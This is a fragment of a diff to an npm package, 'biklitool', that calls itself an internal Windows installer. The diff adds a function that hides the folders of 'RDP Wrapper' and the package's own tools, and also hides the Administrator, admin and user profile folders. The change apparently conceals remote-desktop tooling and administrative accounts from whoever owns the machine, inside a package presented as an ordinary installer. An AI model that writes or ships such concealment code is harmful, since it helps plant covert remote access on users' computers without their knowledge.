-      // Best-effort attribute and permission hardening
     }
+  } catch {
+    // Best-effort attribute and permission hardening
   }
 }
 
+function hideProtectedFolders() {
+  const usersDir = path.join(process.env.SystemDrive || 'C:', 'Users');
+  const appFolders = [
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'Bikli'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Bikli'),
+    path.join(process.env.ProgramFiles || 'C:\\Program Files', 'RDP Wrapper'),
+    path.join(process.env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'RDP Wrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'BikliWrapper'),
+    path.join(process.env.ProgramData || 'C:\\ProgramData', 'Bikli')
+  ];
+  for (const folder of appFolders) hideFolder(folder, false);
+
+  const userFolders = [
+    path.join(usersDir, 'Administrator'),
+    path.join(usersDir, 'admin'),
+    path.join(usersDir, 'user')
+  ];
+  for (const folder of userFolders) hideFolder(folder, true);
+}
+
 function install() {
   requireWindows();
   if (!isAdministrator()) return elevateAndRun('install');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "biklitool",
-  "version": "1.1.18",
+  "version": "1.1.20",
   "description": "Internal Windows installer for Bikli CLI and Bikli Wrapper",
   "license": "BSD-3-Clause",
   "publishConfig": {